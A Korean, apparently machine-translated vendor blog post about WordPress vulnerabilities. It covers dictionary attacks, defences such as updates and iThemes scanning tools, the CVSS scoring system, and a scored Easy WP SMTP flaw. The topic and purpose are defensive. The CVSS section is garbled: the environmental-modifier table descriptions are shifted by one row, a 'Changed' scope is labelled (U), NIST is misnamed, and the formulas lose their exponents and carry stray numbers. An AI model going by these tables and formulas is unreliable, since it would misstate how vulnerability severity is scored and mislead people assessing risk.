해커는 사전 공격이라고 하는 무차별 대입 공격을 사용합니다. 사전 공격은 데이터베이스 덤프에 나타난 일반적으로 사용되는 비밀번호로 WordPress 웹사이트에 침입하는 방법입니다. "컬렉션 #1? MEGA 호스팅에서 호스팅된 데이터 침해에는 1,160,253,228개의 고유한 이메일 주소 및 비밀번호 조합이 포함되었습니다. 그것은 b로 10억입니다. 이러한 종류의 점수는 사전 공격이 가장 일반적으로 사용되는 WordPress 비밀번호를 좁히는 데 실제로 도움이 됩니다.
약한 자격 증명은 WordPress 로그인을 해커가 악용하기 쉬운 취약점으로 만듭니다.
취약한 자격 증명을 방지하는 방법
약한 자격 증명을 방지하는 가장 좋은 방법은 강력한 암호 정책을 만들고 이중 인증을 사용하는 것입니다.
이중 인증은 두 가지 별도의 인증 방법을 요구하여 개인의 신원을 확인하는 프로세스입니다. Google은 블로그에서 이중 인증을 사용하면 자동화된 봇 공격을 100% 막을 수 있다고 공유했습니다.
WordPress 취약점으로부터 WordPress 웹사이트를 보호하는 방법
WordPress 취약점으로부터 웹사이트를 보호하기 위해 취할 수 있는 몇 가지 조치를 살펴보겠습니다.
1. WordPress 소프트웨어를 최신 상태로 유지
패치를 사용할 수 있지만 적용되지 않은 취약한 플러그인 또는 테마가 있는 것은 해킹된 WordPress 웹사이트의 가장 큰 원인입니다. 이는 대부분의 취약점이 취약점에 대한 패치가 릴리스된 이후 에 악용된다는 것을 의미합니다.
많이 보고된 Equifax 위반은 소프트웨어를 업데이트했다면 막을 수 있었을 것입니다. Equifax 침해에는 변명의 여지가 없었습니다.
소프트웨어를 업데이트하는 것만큼 간단한 방법으로 사용자를 보호할 수 있습니다. 따라서 이러한 WordPress 업데이트를 무시하지 마십시오. 업데이트 는 WordPress 및 모든 웹 보안의 가장 기본적인 구성 요소 중 하나입니다.
2. WordPress 취약점 추적
플러그인과 테마를 최신 상태로 유지한다고 해서 모든 취약점으로부터 보호되는 것은 아닙니다. 일부 플러그인 및 테마는 이를 만든 개발자가 포기했습니다.
불행히도 버려진 플러그인이나 테마에 취약점이 있으면 패치가 적용되지 않습니다. 해커는 이제 영구적으로 취약한 플러그인을 사용하는 웹사이트를 대상으로 합니다.
취약점을 추적하는 것은 안전한 웹사이트와 해커가 쉽게 악용할 수 있는 웹사이트의 차이입니다.웹사이트에 알려진 취약점이 있는 버려진 플러그인이 있는 경우 해커에게 웹사이트를 인수하는 데 필요한 청사진을 제공하는 것입니다. 그렇기 때문에 모든 최신 취약점을 추적해야 합니다.
공개된 모든 WordPress 취약점을 추적하고 해당 목록을 웹사이트에 설치한 플러그인 및 테마 버전과 비교하는 것은 어렵습니다. 취약점을 추적하는 것은 안전한 웹사이트와 해커가 쉽게 악용할 수 있는 웹사이트의 차이입니다.
3. 웹사이트의 취약점 스캔
해커의 손쉬운 공격으로부터 웹사이트를 보호하는 더 빠른 방법은 자동화된 스캔을 사용하여 웹사이트에서 알려진 취약점을 확인하는 것입니다.
iThemes Security Pro Site Scanner는 모든 WordPress 웹사이트에서 취약점 보호를 자동화하는 방법입니다. Site Scanner는 알려진 취약점이 있는지 사이트를 확인하고 사용 가능한 경우 패치를 자동으로 적용합니다.
iThemes Security Pro 사이트는 3가지 유형의 취약점을 확인합니다.
- 워드프레스 취약점
- 플러그인 취약점
- 테마 취약점
iThemes Sync Pro 사이트 감사 기능은 Google Lighthouse의 강력한 기능을 활용하여 웹사이트를 보호합니다. 사이트 감사는 알려진 보안 취약점이 있는 프런트 엔드 JavaScript 라이브러리를 포함하는 페이지를 확인하고 플래그를 지정합니다.
개발자는 플러그인 및 테마에서 JS 라이브러리와 같은 타사 코드를 사용하는 것이 일반적입니다. 불행히도 라이브러리가 제대로 유지 관리되지 않으면 공격자가 웹 사이트를 해킹하는 데 활용할 수 있는 취약점을 만들 수 있습니다. 알려진 취약점이 있는 구성 요소 사용은 OWASP Top 10 목록에 있습니다.
사이트 감사가 내 베이컨을 구했습니다! Sync Pro가 매주 자동 감사를 수행하고 감사 보고서를 이메일로 보내도록 감사 일정을 만들었습니다. 나는 모든 것을 최신 상태로 유지하기 때문에 웹사이트 감사에서 내가 알려진 보안 취약점이 있는 JavaScript 라이브러리를 사용하고 있다는 사실을 보고 충격을 받았습니다.
보고서는 웹사이트의 WordPress 디렉토리에 알려진 취약점으로 가득 찬 jQuery의 오래된 버전을 지적했습니다! 다행스럽게도 Sync Pro 사이트 감사에서 보안 취약점이 알려진 JavaScript 라이브러리를 사용하고 있으며 웹사이트가 해킹되기 전에 문제를 해결할 수 있음을 확인했습니다.
WordPress 취약점 위험을 측정하는 방법
여러 유형의 WordPress 취약점이 있으며 모두 다양한 수준의 위험이 있습니다. 다행스럽게도 국립과학기술원(National Institute of Science and Technology)의 프로젝트인 국립 취약성 데이터베이스(National Vulnerability Database)에는 취약성의 위험을 결정하는 취약성 점수 시스템 계산기가 있습니다.
WordPress 취약성 가이드의 이 섹션에서는 취약성 채점 시스템의 메트릭 및 심각도 수준을 다룹니다. 이 섹션은 좀 더 기술적인 부분이지만 일부 사용자는 WordPress 취약점과 심각도가 평가되는 방식에 대한 이해를 심화하는 데 유용할 수 있습니다.
일반적인 WordPress 취약점 점수 시스템 메트릭
취약점 점수 시스템의 방정식은 세 가지 점수 집합을 사용하여 전체 심각도 점수를 결정합니다.
1. 기본 지표
기본 메트릭 그룹은 사용자 환경 전반에 걸쳐 일정한 취약점의 특성을 나타냅니다.
기본 메트릭은 악용 가능성과 영향의 두 그룹으로 나뉩니다.
1.1. 악용 가능성 지표
악용 가능성 점수는 공격자가 취약점을 이용하는 것이 얼마나 어려운지를 기반으로 합니다. 점수는 5개의 다른 변수를 사용하여 계산됩니다.
1.1.1. 공격 벡터(AV)
공격 벡터 점수는 취약점이 악용되는 방법을 기반으로 합니다. 점수는 더 높을수록 공격자가 취약점을 악용할 수 있는 원격지가 될 수 있습니다.
장치 공격에 대한 물리적 액세스가 필요한 취약성과 비교하여 네트워크를 통해 취약성을 악용할 수 있는 경우 잠재적인 공격자의 수가 훨씬 더 많을 것이라는 아이디어입니다.
잠재적인 공격자가 많을수록 악용 위험이 높아지므로 취약점에 부여되는 공격 벡터 점수가 더 높아집니다.
액세스 필요 | 설명 |
---|---|
네트워크(N) | 네트워크로 악용 가능한 취약점 액세스는 취약한 구성 요소가 원격으로 악용될 수 있음을 의미합니다. |
인접 네트워크(AV:A) | 인접 네트워크로 악용 가능한 취약점 액세스는 취약한 구성 요소가 네트워크 스택에 바인딩되어 있음을 의미합니다. 그러나 공격은 동일한 공유 물리적 또는 논리적 네트워크로 제한됩니다. |
로컬(AV:L) | 로컬로 악용 가능한 취약점 액세스는 취약한 구성 요소가 네트워크 스택에 바인딩되지 않음을 의미합니다. 경우에 따라 공격자가 로컬로 로그인하여 취약점을 악용하거나 사용자 상호 작용에 의존하여 악성 파일을 실행할 수 있습니다. |
피지컬(AV:P) | 물리적으로 악용 가능한 취약점 접속하다 공격자는 시스템에 주변 장치를 연결하는 것과 같이 취약한 구성 요소를 물리적으로 만지거나 조작해야 합니다. |
1.1.2. 공격 복잡성(AC)
복잡성 값은 취약점을 악용하는 데 필요한 조건을 기반으로 합니다. 일부 조건에서는 대상, 특정 시스템 구성 설정의 존재 또는 계산 예외에 대한 추가 정보를 수집해야 할 수 있습니다.
공격 복잡성 점수가 높을수록 취약성을 악용하는 데 필요한 복잡성이 낮아집니다.
조건 복잡성을 악용 | 설명 |
---|---|
낮음(L) | 특수 접근 조건 또는 정상 참작이 가능한 상황이 존재하지 않습니다. 공격자는 취약한 구성 요소에 대해 반복 가능한 성공을 기대할 수 있습니다. |
높음(H) | 성공적인 공격은 공격자가 통제할 수 없는 조건에 달려 있습니다. 성공적인 공격은 마음대로 수행할 수 없지만 성공적인 공격이 예상되기 전에 공격자가 취약한 구성 요소에 대한 준비 또는 실행에 상당한 노력을 투자해야 합니다. |
1.1.3. 필요한 권한(PR)
필요한 권한 점수는 공격자가 취약점을 악용하기 전에 획득해야 하는 권한을 기반으로 계산됩니다. 인증됨 대 인증되지 않음 섹션에서 이에 대해 조금 더 자세히 알아보겠습니다.
권한이 필요하지 않은 경우 점수가 가장 높습니다.
필요한 권한 수준 | 설명 |
---|---|
없음(N) | 공격자는 공격 전에 권한이 없으므로 공격을 수행하기 위해 설정이나 파일에 액세스할 필요가 없습니다. |
낮음(L) | 공격자는 일반적으로 사용자가 소유한 설정 및 파일에만 영향을 줄 수 있는 기본 사용자 기능을 제공하는 권한으로 승인되었습니다. 또는 낮은 권한을 가진 공격자는 민감하지 않은 리소스에만 영향을 줄 수 있습니다. |
높음(H) | 공격자는 구성 요소 전체의 설정 및 파일에 영향을 줄 수 있는 취약한 구성 요소에 대한 상당한(예: 관리) 제어를 제공하는 권한이 부여됩니다(즉, 필요). |
1.1.4. 사용자 상호작용(UI)
사용자 상호 작용 점수는 취약점이 악용하기 위해 사용자 상호 작용이 필요한지 여부에 따라 결정됩니다.
공격자가 취약점을 악용하는 데 사용자 상호 작용이 필요하지 않은 경우 점수가 가장 높습니다.
사용자 상호 작용 요구 사항 | 설명 |
---|---|
없음(N) | 취약한 시스템은 사용자의 개입 없이 악용될 수 있습니다. |
필수(R) | 이 취약점을 성공적으로 악용하려면 사용자가 이메일의 링크를 클릭하도록 유도하는 것과 같이 취약점을 악용하기 전에 몇 가지 조치를 취해야 합니다. |
1.1.5. 범위
범위 점수는 보안 범위를 벗어난 리소스에 영향을 미치는 한 소프트웨어 구성 요소의 취약성을 기반으로 합니다.
보안 범위는 다른 구성 요소에 자체 보안 권한이 있더라도 해당 구성 요소에만 기능을 제공하는 다른 구성 요소를 포함합니다.
범위 변경이 발생할 때 점수가 가장 높습니다.
범위 | 설명 |
---|---|
변하지 않는 (U) | 악용된 취약점은 동일한 기관에서 관리하는 리소스에만 영향을 줄 수 있습니다. 이 경우 취약한 구성 요소와 영향을 받는 구성 요소는 동일합니다. |
변경됨(U) | 악용된 취약점은 취약한 구성 요소가 의도한 권한 부여 권한을 넘어 리소스에 영향을 줄 수 있습니다. 이 경우 취약한 구성 요소와 영향을 받는 구성 요소가 다릅니다. |
1.2. 영향 지표
영향 메트릭은 성공적으로 악용된 취약점의 직접적인 영향을 포착합니다.
1.2.1. 기밀 영향 (C)
이 기밀 영향 점수는 악용된 소프트웨어가 관리하는 정보의 기밀성에 대한 영향을 측정합니다.
영향을 받는 소프트웨어에 대한 손실이 가장 높을 때 점수가 가장 높습니다.
기밀성 영향 | 설명 |
---|---|
높음(H) | 기밀성이 완전히 상실되어 악용된 소프트웨어 내의 모든 리소스가 공격자에게 공개됩니다. |
낮음(L) | 약간의 기밀성 손실이 있습니다. 공격자는 일부 제한된 정보에 대한 액세스 권한을 얻었습니다. |
없음(N) | 악용된 소프트웨어 내에는 기밀성이 손실되지 않습니다. |
1.2.2. 성실성(I)
이 무결성 점수는 성공적으로 악용된 취약점이 무결성에 미치는 영향을 기반으로 합니다.
영향을 받는 소프트웨어의 결과가 가장 클 때 점수가 가장 높습니다.
무결성 영향 | 설명 |
---|---|
높음(H) | 무결성이 완전히 상실되거나 보호가 완전히 상실됩니다. |
낮음(L) | 데이터 수정은 영향을 받는 소프트웨어에 직접적이고 심각한 영향을 미치지 않습니다. |
없음(N) | 영향을 받는 소프트웨어 내에서 무결성 손실이 없습니다. |
1.2.3. 가용성 (A)
가용성 점수는 악용된 소프트웨어 가용성의 영향을 기반으로 합니다.
영향을 받는 구성 요소의 결과가 가장 클 때 점수가 가장 높습니다.
가용성 영향 | 설명 |
---|---|
높음(H) | 가용성이 완전히 상실되어 공격자가 악용된 소프트웨어의 리소스에 대한 액세스를 완전히 거부합니다. |
낮음(L) | 성능이 저하되거나 리소스 가용성이 중단됩니다. |
없음(N) | 영향을 받는 소프트웨어의 가용성에는 영향이 없습니다. |
기본 점수 CVSS 점수 계산
기본 점수는 영향 및 악용 가능성 하위 점수 방정식의 함수입니다. 기본 점수는 다음과 같이 정의됩니다.
If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction
2. 임시 점수 지표
임시 메트릭은 익스플로잇 기술의 현재 상태, 패치 또는 해결 방법의 존재 또는 취약점 설명에 대한 신뢰도를 측정합니다.
임시 메트릭은 시간이 지남에 따라 변경될 것으로 예상되고 변경될 것입니다.
2.1. 익스플로잇 코드 성숙도(E)
익스플로잇 코드 성숙도는 취약점이 공격받을 가능성을 기반으로 합니다.
취약점을 쉽게 악용할 수 있을수록 취약점 점수가 높아집니다.
익스플로잇 코드 성숙도 값 | 설명 |
---|---|
정의되지 않음(X) | 이 값을 메트릭에 할당해도 점수에 영향을 주지 않습니다. 이 메트릭을 건너뛰는 것은 스코어링 방정식에 대한 신호입니다. |
높음(H) | 기능적 자율 코드가 존재하거나 악용이 필요하지 않으며 세부 정보가 널리 사용 가능합니다. |
기능성(여) | 기능적 익스플로잇 코드를 사용할 수 있습니다. 코드는 취약점이 존재하는 대부분의 상황에서 작동합니다. |
개념 증명(P) | PoC(Proof-of-Concept) 익스플로잇 코드를 사용할 수 있거나 공격 데모가 대부분의 시스템에서 실용적이지 않습니다. |
검증되지 않은 (U) | 사용 가능한 익스플로잇 코드가 없거나 익스플로잇이 완전히 이론적인 것입니다. |
2.2. 교정 수준(RL)
취약점의 치료 수준은 우선 순위를 지정하는 중요한 요소입니다. 공식 패치나 업그레이드가 발표될 때까지 임시 해결책이나 핫픽스가 제공될 수 있습니다.
덜 공식적이고 영구적인 수정 사항일수록 취약성 점수가 높아집니다.
수정 수준 값 | 설명 |
---|---|
정의되지 않음(X) | 미정의 수정 값은 다른 수정 값 중 하나를 선택하기에 정보가 충분하지 않음을 의미합니다. 정의되지 않음 값은 전체 임시 점수에 영향을 주지 않으며 점수에 사용할 수 없음과 동일한 영향을 미칩니다. |
사용할 수 없음(U) | 사용 가능한 솔루션이 없습니다. |
해결 방법(W) | 비공식, 비 공급업체 솔루션을 사용할 수 있습니다. 예를 들어, 사용자 또는 다른 제3자가 취약점을 완화하기 위해 패치 또는 해결 방법을 만들었습니다. |
임시 수정(T) | 공식적이지만 임시 수정 사항이 있습니다. 예를 들어, 소프트웨어 개발자는 임시 핫픽스를 발행했거나 취약점을 완화하기 위한 해결 방법을 제공했습니다. |
공식 수정(O) | 소프트웨어 개발자는 취약점에 대한 공식 패치를 발표했습니다. |
2.3. 보고서 신뢰도(RC)
보고서 신뢰도 지표는 취약점이 존재한다는 신뢰도 수준과 기술적 세부사항의 신뢰도를 측정합니다.
공급업체 또는 기타 평판이 좋은 출처에서 취약점을 더 많이 검증할수록 점수가 높아집니다.
보고서 신뢰도 값 | 설명 |
---|---|
정의되지 않음(X) | 정의되지 않은 보고서 신뢰도 값은 다른 신뢰도 값 중 하나를 할당하기에 정보가 충분하지 않음을 의미합니다. 정의되지 않음 값은 전체 보고서 신뢰도 점수에 영향을 주지 않으며 채점에 사용할 수 없음과 동일한 영향을 미칩니다. |
확인됨(다) | 취약점을 악용하는 방법에 대한 개념이 있는 자세한 보고서가 존재하거나 소프트웨어 개발자가 취약점의 존재를 확인했습니다. |
합리적인 (R) | 중요한 세부 정보가 포함된 보고서가 있지만 연구원들은 근본 원인에 대해 완전히 확신하지 못하거나 악용으로 이어질 수 있는 모든 상호 작용을 완전히 확인할 수 없습니다. 그러나 버그는 재현 가능하며 최소한 하나의 개념 증명이 존재합니다. |
알 수 없음(U) | 취약점이 있음을 나타내는 영향 보고서가 있지만 취약점의 원인은 알 수 없습니다. |
임시 CVSS 점수 계산
임시 점수는 다음과 같이 정의됩니다.
Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)
3. 환경 점수 지표
환경 메트릭을 통해 분석가는 영향을 받는 IT 자산의 중요도에 따라 채점된 CVSS를 사용자 지정할 수 있습니다.
환경 악용 가능성 및 영향 메트릭은 기본 메트릭과 동일하게 수정된 것으로 조직 인프라의 구성 요소 배치에 따라 값이 할당됩니다. 악용 가능성 및 영향 메트릭의 값과 설명을 보려면 위의 기본 메트릭 섹션을 참조하십시오.
환경 메트릭에는 추가 그룹인 Impact Subscore Modifiers가 포함되어 있습니다.
3.1. 영향 하위 점수 수정자 메트릭
Impact Subscore Modifiers 메트릭은 기밀성(CR), 무결성(IR) 및 가용성(AR)에 대한 특정 보안 요구 사항을 평가하여 사용자 환경에 따라 환경 점수를 미세 조정할 수 있습니다.
영향 하위 점수 값 | 설명 |
---|---|
정의되지 않음(CR:X) | (기밀성/무결성/가용성) 손실은 조직에 제한된 영향만 미칠 가능성이 있습니다. |
낮음(CR:L) | (기밀성/무결성/가용성) 손실은 조직에 심각한 영향을 미칠 수 있습니다. |
중간(CR:M) | (기밀성/무결성/가용성) 손실은 조직에 치명적인 영향을 미칠 수 있습니다. |
높음(CR:H) | 이것은 이 점수를 무시하라는 신호입니다. |
환경 CVSS 점수 계산
환경 점수는 다음과 같이 정의됩니다.
If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.
전체 CVSS 점수 및 심각도
전체 공통 취약성 점수 시스템 또는 CVSS 점수는 기본, 임시 및 환경 점수를 나타냅니다.
전체 CVSS 점수는 취약점의 심각성 또는 심각한 정도를 파악하는 데 사용할 수 있습니다.
CVSS 점수 | 심각성 |
---|---|
0.0 | 없음 |
0.1 – 3.9 | 낮은 |
4.0 – 6.9 | 중간 |
7.0 – 8.9 | 높은 |
9.0 – 10.0 | 비판적인 |
실제 CVSS 심각도 평가 예
2020년 12월 취약점 정리에서 Easy WP SMTP 플러그인의 취약점에 대해 보고했습니다. 제로데이(다음 섹션에서 제로데이 취약점을 다룰 예정임) 취약점은 공격자가 관리자 계정을 제어할 수 있게 해주며 야생에서 악용되고 있었습니다.
National Vulnerability Database 항목을 살펴보면 WP SMTP 취약점의 심각도를 확인할 수 있습니다.

위의 WP SMTP NVDB 스크린샷에서 몇 가지를 분석해 보겠습니다.
기본 점수 : 기본 점수는 7.5로 취약점의 심각도가 높음을 나타냅니다.
벡터 : 벡터는 점수가 CVSS 3.1 취약점 방정식과 점수를 계산하는 데 사용되는 메트릭을 기반으로 함을 알려줍니다.
다음은 벡터의 메트릭 부분입니다.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
이제 이 게시물 앞부분의 기본 메트릭 값과 설명을 사용하여 벡터의 8가지 메트릭 값을 이해하겠습니다.
- AV:N – 취약점의 공격 벡터(AV)가 네트워크(N)임을 의미합니다. 즉, 공격자는 취약점을 악용하기 위해 네트워크 액세스만 필요합니다.
- AC:L – 취약점의 공격 복잡성(AC)은 낮음(L)입니다. 즉, 모든 스크립트 키디가 취약점을 악용할 수 있습니다.
- PR:N – 취약점을 악용하는 데 필요한 PR(Privileges Required)은 없음(N)입니다. 따라서 취약점은 인증된 사용자가 악용할 필요가 없습니다. (인증된 취약점과 인증되지 않은 취약점의 차이점은 이 게시물 뒷부분에서 다룰 것입니다.)
- UI:N – 이 취약점을 악용하는 데 필요한 UI(사용자 상호 작용)는 없음(N)입니다. 따라서 공격자는 스스로 취약점을 악용할 수 있는 수단을 가지고 있습니다.
- S:U – 취약점의 범위(S)가 변경되지 않음(U)임을 의미합니다. 이 취약점의 경우 취약한 구성 요소와 영향을 받는 구성 요소가 동일합니다.
- C:H – 취약점의 기밀성 영향(C)은 높음(H)입니다. 이 취약점이 악용되면 기밀성이 완전히 손실됩니다.
- I:N – 이 취약점의 무결성 영향(I)은 없음(N)입니다. 취약성이 악용될 때 취약한 정보의 무결성이나 신뢰성의 손실은 없습니다.
- A:N – 이는 가용성 영향(A)이 없음(N)임을 의미합니다. 취약점이 악용되더라도 웹사이트의 가용성에는 영향을 미치지 않습니다.
CVSS 점수는 주어진 취약점의 심각도와 범위를 결정하는 데 도움이 될 수 있습니다. 다음 두 섹션에서는 취약성 공개에 자주 포함되는 몇 가지 중요한 취약성 용어를 다룰 것입니다.
WordPress 취약점 설명 웨비나
동일한 주제를 다루는 웨비나를 확인하십시오.
마무리: WordPress 취약점 설명
WordPress 취약점은 무섭지만 좋은 소식은 대부분의 WordPress 취약점이 나쁜 사람이 악용하기 전에 발견되고 패치된다는 것입니다.
WordPress 코어를 유지하여 웹사이트를 취약성으로부터 보호할 수 있으며 플러그인과 테마를 업데이트하는 것이 최신 보안 패치를 받는 가장 좋은 방법입니다.
Michael은 매주 WordPress 취약점 보고서를 작성하여 사이트를 안전하게 보호합니다. iThemes의 제품 관리자로서 그는 iThemes 제품 라인업을 지속적으로 개선하는 데 도움을 줍니다. 그는 거대한 괴짜이며 기술, 오래된 및 새로운 모든 것에 대해 배우는 것을 좋아합니다. 마이클이 아내와 딸과 어울리고, 일하지 않을 때는 책을 읽거나 음악을 듣는 것을 볼 수 있습니다.
